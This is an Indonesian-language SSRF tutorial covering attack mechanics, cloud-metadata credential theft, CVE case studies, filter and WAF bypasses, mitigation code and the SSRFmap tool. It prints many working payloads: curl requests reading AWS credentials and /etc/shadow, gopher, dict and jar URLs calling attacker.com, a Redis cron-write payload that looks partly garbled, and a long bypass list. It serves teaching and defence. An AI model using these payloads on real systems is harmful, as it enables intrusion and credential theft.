1. Pengenalan SSRF
SSRF (Server-Side Request Forgery) adalah jenis serangan keamanan web di mana penyerang memanipulasi aplikasi web agar mengirimkan request HTTP yang tidak diinginkan ke server internal maupun eksternal. Serangan ini memanfaatkan kepercayaan antara server dan resource internalnya, menjadikannya salah satu kerentanan paling berbahaya dalam kategori OWASP Top 10.
Pada dasarnya, SSRF terjadi ketika aplikasi menerima URL dari user input dan menggunakannya untuk membuat request jaringan tanpa validasi yang memadai. Penyerang dapat menggunakan aplikasi tersebut sebagai proxy untuk mengakses resource internal, melakukan port scanning, atau bahkan melakukan remote code execution (RCE) dalam kasus tertentu.
Mengapa SSRF Berbahaya?
| Faktor Risiko | Penjelasan |
|---|---|
| Akses Internal | Server dapat mengakses layanan internal yang tidak terlihat dari internet |
| Bypass Firewall | Request dari dalam jaringan sering kali melewati firewall dan aturan keamanan |
| Cloud Metadata | Mengakses metadata cloud provider (AWS, GCP, Azure) untuk mencuri kredensial |
| Pivot Point | SSRF bisa menjadi titik awal untuk serangan lateral movement |
| RCE | Dalam kondisi tertentu, SSRF dapat meningkat menjadi Remote Code Execution |
| Data Exfiltration | Mencuri data sensitif dari layanan internal yang rentan |
Artikel ini ditulis untuk tujuan edukasi dan pencegahan. Selalu dapatkan izin tertulis sebelum melakukan testing terhadap sistem yang bukan milik Anda. Penggunaan teknik SSRF untuk aktivitas ilegal adalah pelanggaran hukum.
┌──────────┐ ┌──────────────────┐ ┌──────────────────┐
│ │ │ │ │ │
│ PENYERANG│─────▶│ APLIKASI WEB │─────▶│ SERVER TARGET │
│ │ │ (Vulnerable) │ │ (Internal/Ext) │
│ │ │ │ │ │
└──────────┘ └──────────────────┘ └──────────────────┘
│ │
1. Input URL ──────▶│ 2. Server membuat │
yang dimanipulasi │ request ke target │
│ │
◀────│ 3. Response dikirim ◀│
│ kembali ke attacker │
│ │
Contoh:
- Attacker: https://app.com/fetch?url=http://169.254.169.254/latest/meta-data/
- App: GET http://169.254.169.254/latest/meta-data/ (server-side)
- Attacker: Mendapatkan data metadata AWS!
2. Mekanisme Serangan SSRF
Untuk memahami SSRF secara mendalam, kita perlu memahami bagaimana aplikasi web biasanya berinteraksi dengan URL yang diberikan oleh user. Setiap kali aplikasi membuat request HTTP berdasarkan input user, ada potensi SSRF jika validasi tidak dilakukan dengan benar.
2.1 Alur Umum Serangan
from flask import Flask, request, jsonify
import requests
app = Flask(__name__)
@app.route('/fetch')
def fetch_url():
"""Aplikasi ini mengambil URL dari input user TANPA validasi"""
url = request.args.get('url')
# ❌ BAHAYA: Tidak ada validasi URL sama sekali!
response = requests.get(url)
return jsonify({
'status': response.status_code,
'content': response.text[:500]
})
if __name__ == '__main__':
app.run(port=5000)
Dalam contoh di atas, penyerang dapat mengirim request seperti:
# 1. Akses metadata AWS dari aplikasi yang rentan curl "http://app.com/fetch?url=http://169.254.169.254/latest/meta-data/" # 2. Akses localhost untuk menemukan service internal curl "http://app.com/fetch?url=http://localhost:8080/admin" curl "http://app.com/fetch?url=http://127.0.0.1:3306/" # 3. Port scanning internal curl "http://app.com/fetch?url=http://192.168.1.1:22" curl "http://app.com/fetch?url=http://10.0.0.1:6379/" # 4. Mengakses file local curl "http://app.com/fetch?url=file:///etc/passwd" curl "http://app.com/fetch?url=file:///etc/shadow"
2.2 Fitur Aplikasi yang Rentan
SSRF dapat muncul di berbagai fitur aplikasi web. Berikut adalah fitur-fitur yang paling sering menjadi titik masuk serangan:
| Fitur | Deskripsi | Tingkat Risiko |
|---|---|---|
| URL Preview / Fetcher | Fitur yang mengambil konten dari URL untuk preview (misalnya URL unfurl) | 🔴 Sangat Tinggi |
| Webhook Receiver | Endpoint yang menerima callback URL dari user | 🔴 Sangat Tinggi |
| PDF Generator | Layanan yang mengunduh URL dan mengkonversi ke PDF | 🟠 Tinggi |
| Image Proxy | Proxy yang mengunduh gambar dari URL eksternal | 🟠 Tinggi |
| XML Parser | Parser yang mendukung XInclude atau XXE | 🟠 Tinggi |
| Import dari URL | Fitur import data dari URL (CSV, JSON, XML) | 🟡 Sedang |
| Payment Gateway | Callback URL pada integrasi payment gateway | 🟡 Sedang |
| Email Service | Layanan email yang mem-fetch gambar di body email | 🟡 Sedang |
| Link Shortener | Fitur redirect yang bisa diarahkan ke internal | 🟢 Rendah |
| API Client | API yang mengambil data dari URL yang diberikan | 🟠 Tinggi |
2.3 SSRF dalam Arsitektur Modern
┌─────────────────────────────────────────────────────────────┐ │ INTERNET │ │ │ │ ┌─────────┐ ┌──────────────────┐ │ │ │ ATTACKER │────────▶│ LOAD BALANCER │ │ │ └─────────┘ │ (Internet-facing)│ │ │ └────────┬─────────┘ │ │ │ │ │ ┌──────────────────────┼──────────────────┐ │ │ │ INTERNAL NETWORK │ │ │ │ │ │ │ ┌─────▼─────┐ ┌──────────┐ ┌────────────┐ │ │ │ │ WEB APP │ │ API │ │ DATABASE │ │ │ │ │ (SSRF │ │ SERVER │ │ SERVER │ │ │ │ │ VULNERABLE│──▶│ │ │ (No ext. │ │ │ │ │ -) │ │ │ │ access) │ │ │ │ └───────────┘ └──────────┘ └────────────┘ │ │ │ │ │ │ │ ┌─────▼──────┐ ┌──────────┐ ┌────────────┐ │ │ │ │ ADMIN │ │ REDIS │ │ METADATA │ │ │ │ │ DASHBOARD │ │ CACHE │ │ SERVICE │ │ │ │ │ :8080 │ │ :6379 │ │ 169.254... │ │ │ │ └────────────┘ └──────────┘ └────────────┘ │ │ │ │ └─────────────────────────────────────────────────────────────┘ Serangan SSRF memanfaatkan koneksi internal untuk: → Mengakses admin dashboard yang tersembunyi → Membaca data dari Redis cache → Mencuri cloud credentials dari metadata service → Melakukan port scanning seluruh internal network
3. Jenis-Jenis SSRF
3.1 SSRF Dasar (Basic SSRF)
SSRF dasar terjadi ketika penyerang dapat mengarahkan server untuk membuat request ke URL yang dipilih oleh penyerang. Response dari server tersebut kemudian dikembalikan ke penyerang.
# Attacker mengarahkan aplikasi ke layanan internal # yang tidak boleh diakses dari internet # 1. Mengakses admin panel internal https://vulnerable-app.com/proxy?url=http://admin-panel.internal:9090/ # 2. Mengakses Elasticsearch tanpa autentikasi https://vulnerable-app.com/proxy?url=http://elasticsearch:9200/_cat/indices # 3. Mengakses database Redis yang tidak di-cache https://vulnerable-app.com/proxy?url=http://redis:6379/info # 4. Mengakses metadata AWS https://vulnerable-app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
3.2 Blind SSRF
Blind SSRF terjadi ketika server membuat request ke URL yang dikontrol penyerang, tetapi response tidak dikembalikan secara langsung. Penyerang harus menggunakan teknik out-of-band untuk mendeteksi kerentanan.
# 1. Gunakan server webhook yang dikontrol penyerang # (contoh: using Burp Collaborator atau custom server) # 2. Kirim request ke aplikasi rentan curl "https://vulnerable-app.com/subscribe?callback=http://attacker.com/webhook/12345" # 3. Tunggu server mengirim request ke callback # Di server attacker: # GET /webhook/12345 HTTP/1.1 # Host: attacker.com # ... (header tambahan dari server internal) # 4. Analisis callback untuk mendapat informasi: # - Header HTTP yang dikirim # - Source IP address # - User-Agent string server # - Potensi data leakage dalam request
3.3 SSRF dengan Filter Bypass
Beberapa aplikasi menerapkan filter untuk mencegah SSRF, tetapi filter tersebut bisa di-bypass. Jenis SSRF ini lebih canggih dan memerlukan teknik khusus untuk melewati proteksi yang ada.
3.4 SSRF ke RCE (Remote Code Execution)
Dalam beberapa kasus, SSRF dapat meningkat menjadi RCE. Ini terjadi ketika layanan internal yang diakses memiliki celah yang memungkinkan eksekusi kode, seperti:
# SSRF ke Redis untuk Remote Code Execution # 1. Mengirim payload Redis melalui SSRF # (menggunakan CRLF injection) http://app.com/fetch?url=http://redis:6379/ # 2. Redis payload untuk write SSH key Payload: *3\r\n$3\r\nSET\r\n$1\r\n1\r\n$\r\n \r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$13\r\n/var/spool/cron/\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$4\r\nroot\r\n*1\r\n$4\r\nSAVE\r\n # 3. Hasil: SSH key penyerang ditulis ke cron job root # dan penyerang bisa SSH ke server sebagai root!
4. Target & Dampak SSRF
4.1 Target Utama Serangan SSRF
| Target | Endpoint | Dampak |
|---|---|---|
| AWS Metadata | http://169.254.169.254/latest/meta-data/ | 🔴 Pencurian IAM credentials, akses S3 bucket |
| GCP Metadata | http://metadata.google.internal/computeMetadata/v1/ | 🔴 Pencurian service account keys |
| Azure Metadata | http://169.254.169.254/metadata/instance?api-version=2021-02-01 | 🔴 Pencurian managed identity tokens |
| Kubernetes API | https://kubernetes.default.svc:443/ | 🔴 Akses cluster, deploy pod jahat |
| Internal Database | mysql://db-internal:3306/ | 🔴 Eksekusi query SQL, pencurian data |
| Redis | redis://redis:6379/ | 🟠 Cache poisoning, RCE via cron |
| Consul/etcd | http://consul:8500/ | 🟠 Konfigurasi service discovery |
| Docker API | http://docker:2375/ | 🔴 Container escape, host takeover |
| Admin Dashboards | http://admin:8080/ | 🟠 Akses panel administrasi |
| /etc/passwd | file:///etc/passwd | 🟡 Informasi user sistem |
4.2 Dampak pada Cloud Provider
Cloud metadata endpoint adalah target SSRF yang paling berbahaya. Melalui endpoint ini, penyerang bisa mendapatkan IAM credentials yang memungkinkan akses penuh ke seluruh resource cloud — termasuk S3 buckets, database, dan service lainnya. Kasus Capital One breach 2019 yang mengekspos 100 juta data pelanggan dimulai dari SSRF yang menargetkan AWS metadata.
# Step 1: Enumerasi metadata
curl "https://app.com/fetch?url=http://169.254.169.254/latest/meta-data/"
# Response: ami-id, hostname, iam/, network/, ...
# Step 2: Mencari IAM role
curl "https://app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/"
# Response: info, security-credentials/
# Step 3: Mendapatkan nama role
curl "https://app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Response: MyEC2Role
# Step 4: Mendapatkan credentials
curl "https://app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role"
# Response:
# {
# "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
# "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
# "Token": "FwoGZXIvYXdzEBY...",
# "Expiration": "2026-06-27T00:00:00Z"
# }
# Step 5: Gunakan credentials untuk akses resource AWS
# aws s3 ls s3://sensitive-data-bucket/
# aws rds describe-db-instances
# aws lambda list-functions
5. Studi Kasus CVE Terkenal
5.1 CVE-2021-22986 — F5 BIG-IP iControl REST SSRF
| Detail | Informasi |
|---|---|
| CVE | CVE-2021-22986 |
| CVSS | 9.8 (Critical) |
| Product | F5 BIG-IP iControl REST API |
| Dampak | Remote Code Execution tanpa autentikasi |
| Eksploitasi | SSRF pada endpoint /mgmt/tm/util/bash memungkinkan RCE |
5.2 CVE-2019-5736 — runc Container Escape
| Detail | Informasi |
|---|---|
| CVE | CVE-2019-5736 |
| CVSS | 8.6 (High) |
| Product | runc (Docker, Kubernetes) |
| Dampak | Container escape ke host system |
| Keterkaitan | SSRF yang mengakses Docker API 2375 bisa memanfaatkan kerentanan ini |
5.3 CVE-2021-21972 — VMware vCenter SSRF to RCE
| Detail | Informasi |
|---|---|
| CVE | CVE-2021-21972 |
| CVSS | 9.8 (Critical) |
| Product | VMware vCenter Server |
| Dampak | RCE sebagai root tanpa autentikasi |
| Eksploitasi | Upload file melalui vROPS plugin endpoint |
5.4 Capital One Breach (2019)
Salah satu insiden paling terkenal yang melibatkan SSRF. Penyerang memanfaatkan WAF (Web Application Firewall) yang berjalan di AWS, melakukan SSRF untuk mengakses metadata AWS, mendapatkan IAM credentials, dan mengekspos lebih dari 100 juta data pelanggan.
Timeline Capital One SSRF Attack (2019):
═══════════════════════════════════════════════════════════════
┌─────────┐
│ Attacker │
│(ex-AWS) │
└────┬─────┘
│
▼
1. SSRF pada WAF configuration endpoint
POST /waf/data-processor HTTP/1.1
Content-Type: metadata_credentials...
│
▼
2. AWS Metadata Request (dari WAF ke metadata)
GET http://169.254.169.254/latest/meta-data/iam/
Role: WAF-Role ← Memiliki akses terlalu luas!
│
▼
3. Pencurian IAM Credentials
{
"AccessKeyId": "AKIA...",
"SecretAccessKey": "...",
"Token": "..."
}
│
▼
4. Akses S3 Bucket
aws s3 ls s3://bucket-with-sensitive-data/
│
▼
5. Download 100M+ customer records
Nama, SSN, tanggal lahir, rekening bank...
═══════════════════════════════════════════════════════════════
LESSON LEARNED:
→ Jangan berikan IAM role akses terlalu luas
→ Implementasikan IMDSv2 untuk metadata protection
→ Batasi akses metadata dari container/WAF
6. Teknik Serangan SSRF
6.1 Port Scanning via SSRF
Penyerang dapat menggunakan SSRF untuk memindai port pada server internal. Response time atau error message yang berbeda-beda dapat mengindikasikan status port.
# Port Scanning menggunakan response time analysis
# Port terbuka: connection berhasil, response time normal
# Port tertutup: connection refused, error cepat
# Port ter-filter: timeout (biasanya 10-30 detik)
# Scan port umum di server internal
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
echo "Scanning port $port..."
curl -s -o /dev/null -w "Port $port: %{time_total}s\n" \
"https://app.com/fetch?url=http://192.168.1.10:$port/" \
--max-time 5
done
# Contoh output:
# Port 22: timeout (filtered)
# Port 80: 0.045s (open - HTTP)
# Port 443: 0.052s (open - HTTPS)
# Port 3306: timeout (filtered)
# Port 8080: 0.038s (open - internal admin)
# Port 6379: timeout (filtered)
6.2 File Read via Protocol Handlers
# Berbagai protocol handler yang bisa dimanfaatkan: # file:// — Membaca file lokal https://app.com/fetch?url=file:///etc/passwd https://app.com/fetch?url=file:///proc/self/environ https://app.com/fetch?url=file:///proc/self/cmdline https://app.com/fetch?url=file:///root/.ssh/id_rsa # dict:// — Menggunakan DICT protocol https://app.com/fetch?url=dict://redis:6379/info # gopher:// — Raw TCP (sangat powerful!) https://app.com/fetch?url=gopher://redis:6379/_*1%0d%0a$8%0d%0aredis-cmd%0d%0a # tftp:// — Trivial File Transfer Protocol https://app.com/fetch?url=tftp://attacker.com/file # ldap:// — Lightweight Directory Access Protocol https://app.com/fetch?url=ldap://ldap-server:389/ # jar:// — Java Archive URL (untuk SSRF ke RCE di Java) https://app.com/fetch?url=jar:http://attacker.com/malicious.jar!/exploit.class
6.3 SSRF ke Cloud Metadata
# === AWS (IMDSv1 — rentan) === http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/user-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ # === AWS (IMDSv2 — lebih aman, perlu token) === # Step 1: Get token PUT http://169.254.169.254/latest/api/token Header: X-aws-ec2-metadata-token-ttl-seconds: 21600 # Step 2: Use token GET http://169.254.169.254/latest/meta-data/ Header: X-aws-ec2-metadata-token:# === Google Cloud === http://metadata.google.internal/computeMetadata/v1/ ?alt=json Header: Metadata-Flavor: Google # === Azure === http://169.254.169.254/metadata/instance?api-version=2021-02-01 ?format=json Header: Metadata: true # === DigitalOcean === http://169.254.169.254/metadata/v1/ # === Kubernetes === https://kubernetes.default.svc/ https://kubernetes.default.svc:443/api/v1/namespaces/ # === Oracle Cloud === http://169.254.169.254/opc/v1/instance/
6.4 DNS Rebinding untuk SSRF
DNS Rebinding adalah teknik canggih yang memanfaatkan sistem DNS untuk mengubah resolved IP address antar request. Teknik ini sangat efektif untuk melewati whitelist yang berbasis hostname.
# === Konsep DNS Rebinding === # 1. Attacker mendaftarkan domain: rebinding.attacker.com # 2. DNS server attacker dikonfigurasi dengan TTL sangat rendah # Request pertama (validasi oleh aplikasi): # GET rebinding.attacker.com → 1.2.3.4 (IP attacker, VALID) # TTL: 0 detik # Request kedua (oleh aplikasi untuk fetch): # GET rebinding.attacker.com → 169.254.169.254 (IP metadata, INTERNAL!) # TTL: 0 detik # === Tools untuk DNS Rebinding === # 1. rbndr.us — DNS rebinding service # http://rbndr.us/- # 2. Taviso's rbndr — Custom DNS server # https://github.com/taviso/rbndr # 3. Singularity — Framework lengkap untuk DNS rebinding # https://github.com/nccgroup/singularity # Contoh penggunaan: # 1. Generate rebinding URL untuk AWS metadata curl "http://rbndr.us/169.254.169.254" # URL pertama → resolve ke IP attacker (memenuhi whitelist) # URL kedua → resolve ke 169.254.169.254 (mengakses metadata) # 2. Gunakan dalam serangan SSRF https://app.com/fetch?url=http://rebind.attacker.com/ # Aplikasi memvalidasi URL → OK (resolve ke IP attacker) # Aplikasi fetch URL → resolve ke metadata endpoint!
7. Bypass Filter & WAF
Sering kali, pengembang menerapkan berbagai filter untuk mencegah SSRF. Namun, filter yang tidak sempurna justru memberikan ilusi keamanan. Berikut teknik-teknik bypass yang perlu dipahami oleh security engineer untuk membangun defensi yang lebih kuat.
7.1 Bypass Filter IP Address
# === Bypass filter yang hanya memblokir "127.0.0.1" === # 1. Representasi IP alternatif http://127.0.0.1 ← diblokir http://127.1 ← bypass! (IP singkat) http://0.0.0.0 ← bypass! (zero address) http://localhost ← bypass! (hostname) http://[::1] ← bypass! (IPv6 loopback) http://0x7f000001 ← bypass! (hexadecimal) http://2130706433 ← bypass! (decimal) http://017700000001 ← bypass! (octal) http://127.0.0.1.nip.io ← bypass! (wildcard DNS) http://127.0.0.1.sslip.io ← bypass! (wildcard DNS) http://0177.0.0.1 ← bypass! (leading zero octal) http://127.0.00.1 ← bypass! (extra zeros) http://127.0.0.1%2523 ← bypass! (URL encoded #) http://127.0.0.1%00 ← bypass! (null byte - PHP < 5.3.4) # 2. Menggunakan URL parsing inconsistency http://valid-domain.com#@127.0.0.1 http://127.0.0.1@valid-domain.com http://valid-domain.com\@127.0.0.1 # 3. Decimal IP untuk target lain # 10.0.0.1 = 167772161 # 172.16.0.1 = 2886729729 # 192.168.1.1 = 3232235777 http://3232235777/ → 192.168.1.1 # 4. Mixed format http://0177.0.0.1 → 127.0.0.1 http://127.0x7F.0x01 → 127.0.0.1 http://0177.0x0.0x0.1 → 127.0.0.1
7.2 Bypass Whitelist dengan Redirect
# === Jika aplikasi hanya mengizinkan URL dari domain tertentu === # 1. Gunakan URL redirector (bit.ly, t.co, dll.) # yang redirect ke target internal # Buat redirect: https://bit.ly/3xabc → http://169.254.169.254/ curl "https://app.com/fetch?url=https://bit.ly/3xabc" # Aplikasi memvalidasi bit.ly (allowed) → fetch # bit.ly redirect ke metadata endpoint! # 2. Gunakan layanan redirect lain # - http://tinyurl.com/create.php # - https://is.gd/create.php # - Short link dari link shortener yang dimiliki attacker # 3. HTTP Redirect Server # Buat server sederhana di attacker.com: # GET /redirect → 302 Location: http://169.254.169.254/ curl "https://app.com/fetch?url=https://attacker.com/redirect" # 4. Open Redirect di aplikasi lain # https://app.com/logout?next=http://169.254.169.254/ # Jika app.com juga memiliki open redirect: curl "https://app.com/fetch?url=https://app.com/logout?next=http://169.254.169.254/"
7.3 Bypass HTTPS Filter
# === Jika aplikasi hanya mengizinkan HTTPS === # 1. Port trick — HTTPS di port HTTP http://internal-target:443/ # Banyak server menerima HTTP di port 443 # 2. Redirect dari HTTP ke HTTPS # Buat server yang redirect: # http://attacker.com → 301 https://169.254.169.254/ # 3. SSL stripping atau cert bypass # 4. Menggunakan self-signed certificate # Jika aplikasi tidak memverifikasi SSL # === Bypass filter yang memblokir URL dengan port === # Jika filter memblokir ":" dalam URL: # Gunakan entitas HTML http://internal:8080@external.com http://external.com#http://internal:8080 https://external.com@internal:8080
7.4 Bypass with IPv6 and DNS
# === IPv6 Bypass === # Filter mungkin hanya memblokir IPv4 http://[::]:80/ → 0.0.0.0 http://[::ffff:127.0.0.1]/ → 127.0.0.1 http://[0:0:0:0:0:ffff:127.0.0.1]/ → 127.0.0.1 http://[0000::1]/ → ::1 (loopback) # === DNS Rebinding === # Membuat hostname yang resolve ke IP internal # Setelah validasi, DNS berubah ke target internal # === Subdomain to IP trick === # Buat subdomain yang resolve ke internal IP: # evil.attacker.com → A record → 169.254.169.254 # Jika filter hanya memeriksa domain utama curl "https://app.com/fetch?url=http://evil.attacker.com/"
7.5 Bypass Filter berbasis Schema
# === Jika hanya http/https yang diizinkan === # 1. gopher:// — Raw TCP, bisa mengirim request HTTP gopher://127.0.0.1:80/_GET%20/admin%20HTTP/1.1%0d%0AHost:%20localhost%0d%0A%0d%0A # 2. dict:// — DICT protocol dict://127.0.0.1:6379/info # 3. file:// — Membaca file file:///etc/passwd # 4. jar:// — Java Archive jar:http://attacker.com/exploit.jar!/class.class # 5. netdoc:// — Java netdoc netdoc:///etc/passwd # 6. scp:// dan sftp:// — Remote file access scp://user:password@internal-server/file # 7. ftp:// — File Transfer Protocol ftp://user:password@internal-server/ # 8. smb:// — Server Message Block (Windows) smb://internal-server/share/file # === URL Encoding Trick === # Double encoding %2568%2574%2574%2570%253a%252f%252f → http:// %2567%256f%2570%2568%2565%2572%253a → gopher: # Unicode normalization http:// → http:// ⾷ile:/// → file:///
8. Pencegahan & Mitigasi
Pencegahan SSRF memerlukan pendekatan berlapis (defense in depth). Tidak ada satu solusi tunggal yang bisa mencegah semua jenis SSRF. Berikut strategi pencegahan yang direkomendasikan:
8.1 Input Validation — Whitelist Approach
import ipaddress
import socket
import validators
from urllib.parse import urlparse
import struct
# ==========================================
# WHITELIST URL VALIDATION — Best Practice
# ==========================================
ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com']
ALLOWED_SCHEMES = ['https']
BLOCKED_RANGES = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'),
ipaddress.ip_network('::1/128'),
ipaddress.ip_network('fc00::/7'),
ipaddress.ip_network('fe80::/10'),
]
def is_private_ip(ip_str):
"""Cek apakah IP termasuk range privat/internal"""
try:
ip = ipaddress.ip_address(ip_str)
for network in BLOCKED_RANGES:
if ip in network:
return True
return False
except ValueError:
return False
def resolve_and_validate(hostname):
"""Resolve DNS dan validasi IP hasil resolve"""
try:
# Gunakan getaddrinfo untuk resolve semua IP
addrinfos = socket.getaddrinfo(hostname, None)
for family, _, _, _, sockaddr in addrinfos:
ip = ipaddress.ip_address(sockaddr[0])
for network in BLOCKED_RANGES:
if ip in network:
raise ValueError(f"IP {ip} termasuk range privat!")
return True
except socket.gaierror:
raise ValueError(f"Gagal resolve hostname: {hostname}")
def validate_url(url):
"""Validasi URL lengkap — whitelist approach"""
# 1. Parse URL
parsed = urlparse(url)
# 2. Validasi scheme — hanya HTTPS
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError(f"Scheme '{parsed.scheme}' tidak diizinkan")
# 3. Validasi hostname — harus ada dan valid
if not parsed.hostname:
raise ValueError("Hostname tidak valid")
# 4. Whitelist domain
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError(f"Domain '{parsed.hostname}' tidak di whitelist")
# 5. Resolve DNS dan validasi IP
resolve_and_validate(parsed.hostname)
# 6. Validasi path (opsional — hindari path traversal)
if '..' in (parsed.path or ''):
raise ValueError("Path traversal terdeteksi")
return True
# Contoh penggunaan
try:
validate_url("https://api.example.com/data")
print("✅ URL valid!")
except ValueError as e:
print(f"❌ Error: {e}")
8.2 Network-Level Controls
# ==========================================
# NETWORK LEVEL DEFENSE
# ==========================================
# 1. Firewall Rules — Batasi akses dari web server
# Hanya izinkan akses ke service yang diperlukan
# iptables — Whitelist outbound traffic
iptables -A OUTPUT -p tcp --dport 443 -d api.example.com -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -d cdn.example.com -j ACCEPT
iptables -A OUTPUT -p tcp --dport 80 -d api.example.com -j ACCEPT
iptables -A OUTPUT -j DROP # Drop semua lainnya
# 2. Network Segmentation
# Pisahkan web server dari service internal
# Web server hanya bisa akses service tertentu di port tertentu
# 3. Egress Filtering
# Batasi outbound traffic dari web server
# Hanya izinkan ke IP/hostname yang diperlukan
# 4. DNS Sinkhole
# Redirect DNS internal ke sinkhole untuk mencegah
# akses ke metadata endpoint
# 5. Cloud Security Groups
# AWS Security Group: hanya izinkan outbound ke
# - API Gateway (port 443)
# - Database (port 5432, dari subnet tertentu saja)
# Block semua lainnya
# 6. IMDSv2 — Wajibkan token untuk metadata (AWS)
# Di AWS CLI:
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled
8.3 Application-Level Prevention
const express = require('express');
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');
const app = express();
// ==========================================
// SSRF Prevention Middleware
// ==========================================
const BLOCKED_NETWORKS = [
ipaddr.parseCIDR('10.0.0.0/8'),
ipaddr.parseCIDR('172.16.0.0/12'),
ipaddr.parseCIDR('192.168.0.0/16'),
ipaddr.parseCIDR('127.0.0.0/8'),
ipaddr.parseCIDR('169.254.0.0/16'),
ipaddr.parseCIDR('::1/128'),
ipaddr.parseCIDR('fc00::/7'),
ipaddr.parseCIDR('fe80::/10'),
ipaddr.parseCIDR('0.0.0.0/8'),
];
function isBlockedIP(ipStr) {
try {
const addr = ipaddr.parse(ipStr);
for (const [network] of BLOCKED_NETWORKS) {
if (addr.match(network)) return true;
}
// Also block IPv4-mapped IPv6
if (addr.kind() === 'ipv6') {
const ipv4 = addr.toIPv4Address();
if (ipv4) {
return BLOCKED_NETWORKS.some(([n]) =>
ipaddr.parse(ipv4.toString()).match(n)
);
}
}
} catch (e) {}
return false;
}
async function ssrfProtection(req, res, next) {
const targetUrl = req.query.url || req.body.url;
if (!targetUrl) return next();
try {
const parsed = new URL(targetUrl);
// 1. Blokir scheme berbahaya
const blockedSchemes = ['file', 'gopher', 'dict', 'jar', 'netdoc', 'ftp', 'scp', 'smb'];
if (blockedSchemes.includes(parsed.protocol.replace(':', ''))) {
return res.status(403).json({ error: 'Schema tidak diizinkan' });
}
// 2. Hanya izinkan HTTP/HTTPS
if (!['http:', 'https:'].includes(parsed.protocol)) {
return res.status(403).json({ error: 'Hanya HTTP/HTTPS yang diizinkan' });
}
// 3. Resolve hostname
const hostname = parsed.hostname;
const addresses = await dns.resolve4(hostname);
// 4. Validasi resolved IP
for (const addr of addresses) {
if (isBlockedIP(addr)) {
return res.status(403).json({
error: 'URL mengarah ke IP internal/privat'
});
}
}
// 5. Re-validate setelah resolve (DNS rebinding protection)
// Simpan resolved IP untuk digunakan saat fetch
req._resolvedIP = addresses[0];
next();
} catch (err) {
return res.status(400).json({ error: 'URL tidak valid' });
}
}
// Gunakan middleware
app.use('/fetch', ssrfProtection);
// Fetch endpoint yang aman
const fetch = require('node-fetch');
app.get('/fetch', async (req, res) => {
try {
// Gunakan resolved IP, bukan hostname (anti DNS rebinding)
const targetUrl = new URL(req.query.url);
targetUrl.hostname = req._resolvedIP;
targetUrl.host = `${req._resolvedIP}:${targetUrl.port || 80}`;
const response = await fetch(targetUrl.toString(), {
timeout: 5000, // Timeout 5 detik
redirect: 'error', // Blokir redirect
headers: { 'Host': new URL(req.query.url).hostname }
});
res.json({
status: response.status,
body: (await response.text()).substring(0, 1000)
});
} catch (err) {
res.status(500).json({ error: 'Gagal mengambil URL' });
}
});
app.listen(3000, () => console.log('Server berjalan di port 3000'));
8.4 Ringkasan Pencegahan
| Lapisan | Mitigasi | Prioritas |
|---|---|---|
| Input Validation | Whitelist domain & scheme yang diizinkan | 🔴 Wajib |
| DNS Resolution | Resolve DNS terlebih dahulu, validasi IP hasil resolve | 🔴 Wajib |
| Network Segmentation | Pisahkan web server dari service internal | 🔴 Wajib |
| Egress Filtering | Batasi outbound traffic dari web server | 🔴 Wajib |
| IMDSv2 | Wajibkan token untuk metadata access (AWS) | 🔴 Wajib |
| Disable Redirect | Blokir automatic redirect saat fetch URL | 🟠 Penting |
| Schema Block | Blokir gopher://, file://, dict://, dll. | 🟠 Penting |
| DNS Sinkhole | Redirect DNS metadata ke sinkhole | 🟠 Penting |
| Timeout | Set timeout rendah pada HTTP client | 🟡 Disarankan |
| Logging | Log semua outbound request untuk audit | 🟡 Disarankan |
| WAF Rules | Deploy WAF rules untuk mendeteksi SSRF patterns | 🟡 Disarankan |
| Least Privilege | Minimal IAM permissions untuk service di cloud | 🔴 Wajib |
9. Tools Testing SSRF
9.1 SSRFmap
# SSRFmap — Automatic SSRF fuzzer and exploitation tool
# GitHub: https://github.com/swisskyrepo/SSRFmap
# Install
git clone https://github.com/swisskyrepo/SSRFmap.git
cd SSRFmap
pip install -r requirements.txt
# Basic scan — detect SSRF vulnerability
python ssrfmap.py -r request.txt -p url -m portscan
# Request file format (request.txt):
# POST /api/fetch HTTP/1.1
# Host: vulnerable-app.com
# Content-Type: application/json
#
# {"url": "FUZZ"}
# === Scan modes ===
# 1. Port scan internal
python ssrfmap.py -r request.txt -p url -m portscan
# 2. Read files
python ssrfmap.py -r request.txt -p url -m readfiles
# 3. Redis module
python ssrfmap.py -r request.txt -p url -m redis -C "SLAVE OF attacker.com 6379"
# 4. AWS metadata
python ssrfmap.py -r request.txt -p url -m aws
# 5. Custom wordlist
python ssrfmap.py -r request.txt -p url -m portscan --ports 1-65535
9.2 Burp Suite — Collaborator
